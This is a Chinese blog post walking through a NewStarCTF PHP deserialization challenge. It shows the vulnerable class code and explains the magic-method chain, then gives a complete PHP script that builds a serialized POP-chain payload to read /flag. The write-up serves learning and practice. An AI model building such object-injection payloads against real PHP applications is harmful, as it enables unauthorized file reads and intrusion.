首页 > 其他分享 >[NewStarCTF] UnserializeOne __clone魔术方法

[NewStarCTF] UnserializeOne __clone魔术方法

时间:2024-04-28 15:56:42浏览次数:11  
标签:__ UnserializeOne obj NewStarCTF function clone var public

今天来个反序列化没见过的魔术方法__clone。
先看源码:

点击查看代码
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

一眼在file_get_contents处是利用点。

__isset:当对不可访问属性调用isset()或empty()时调用,在eeee中出现isset;
__clone:当对象复制完成时调用,在Easy中出现。这题中要让Sec的var等于eeee这个类(第一次解题时这里出错了)
__call:在对象中调用一个不可访问方法时调用,在Sec中的toString中调用
__toString:在Start中出现echo $name
现在思路明确了,开始构造pop链。

上payload:

点击查看代码
<?php
class Start{
    public $name;
    public $func;
}
class Sec{
    public $obj;
    public $var;
}
class Easy{
    public $cla;
}
class eeee{
    public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo serialize($f);

标签:__,UnserializeOne,obj,NewStarCTF,function,clone,var,public
From: https://www.cnblogs.com/jocker-love-you/p/18163875

相关文章

  • .net core,.net 6使用SoapCore开发webservice接口,以及使用HttpClientFactory动态访问we
    1.使用soapCorenuget包 2.新建接口及实现2.1新建接口 2.2新建实现 2.3新建接收实体 2.4返回实体 3.接口注入使用  4.启动程序,直接访问对应的asmx地址  ......
  • java ini配置工具类 -复制工具类即可使用
    package这里写你工具类包存放的地址importjava.io.BufferedReader;importjava.io.BufferedWriter;importjava.io.FileReader;importjava.io.FileWriter;importjava.io.IOException;importjava.net.URLDecoder;importjava.util.regex.Matcher;importjava.util.regex.Patt......
  • 【数字逻辑电路】VERILOG和VHDL
    硬件描述语言(HDL)是一种用于描述数字电路结构和行为的建模语言。另外,HDL允许通过仿真测试设计的电路。硬件描述语言以文本格式表示时序行为和电路结构。此外,根据硬件模块的需求,HDL的语法和语义还包括表示时序和并发的符号。 硬件描述语言中一个很好的例子是VHDL,它是VHSICHardwa......
  • 通过fatsadmin阿里云OSS存储插件-生成二维码图片,并上传阿里云OSS存储空间里
    #生成二维码并上传到阿里云OSSif(!function_exists('create_qrcode')){functioncreate_qrcode($url){$filename=time().rand(100,999).'.png';$path='uploads/qrcode/'.$filename;$code=newQRcode();$......
  • 微服务调用form-data 流文件异常
    Noserializerfoundforclassjava.io.FileDescriptorandnopropertiesdiscoveredtocreateBeanSerializer(toavoidexception,disableSerializationFeature.FAIL_ON_EMPTY_BEANS)(throughreferencechain:com.cloud.module.smartkey.dto.UploadParam["upl......
  • 学习笔记-平衡树
    学习笔记-平衡树treap#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;#definelst[x].ch[0]#definerst[x].ch[1]constintN=114514;constintinf=2147483647;intcnt=0,root;mt19937rnd(0x7f);structtreap{ intch[2],cnt,size,val,......
  • day26-python操作MySQL和实战
    1.事务innodb引擎中支持事务,myisam不支持。CREATETABLE`users`(`id`int(11)NOTNULLAUTO_INCREMENTPRIMARYKEY,`name`varchar(32)DEFAULTNULL,`amount`int(11)DEFAULTNULL)ENGINE=InnoDBDEFAULTCHARSET=utf8;例如:李杰给武沛齐转账100,那就会......
  • [转帖]cpupower
    cpupower命令–调整CPU主频参数/真正好用的Linux命令在线查询手册/:播放正确发音《Linux就该这么学》是一本基于最新Linux系统编写的入门必读书籍,内容面向零基础读者,由浅入深渐进式教学,销量保持国内第一,年销售量超过10万余本。点此免费在线阅读。cpupower命令的功能是调整CPU......
  • jvppeteer 工具
    依赖<dependency><groupId>io.github.fanyong920</groupId><artifactId>jvppeteer</artifactId><version>1.1.5</version></dependency>工具importcom.ruiyun.jvppeteer.core.Puppeteer;importcom.ruiyun.j......
  • DSP学习笔记
    DSP学习笔记之EPWMEPWM模块介绍F28335最多有18路PWM输出,其中有6个ePWM模块由两路ePWM输出组成,分为ePWMxA和ePWMxB,这一对PWM输出,可以配置成两路独立的单边沿PWM输出,或者两路独立的但互相相对称的双边沿PWM输出,或者一对双边沿非对称的PWM输出,因为每对PWM模块中的两个PWM......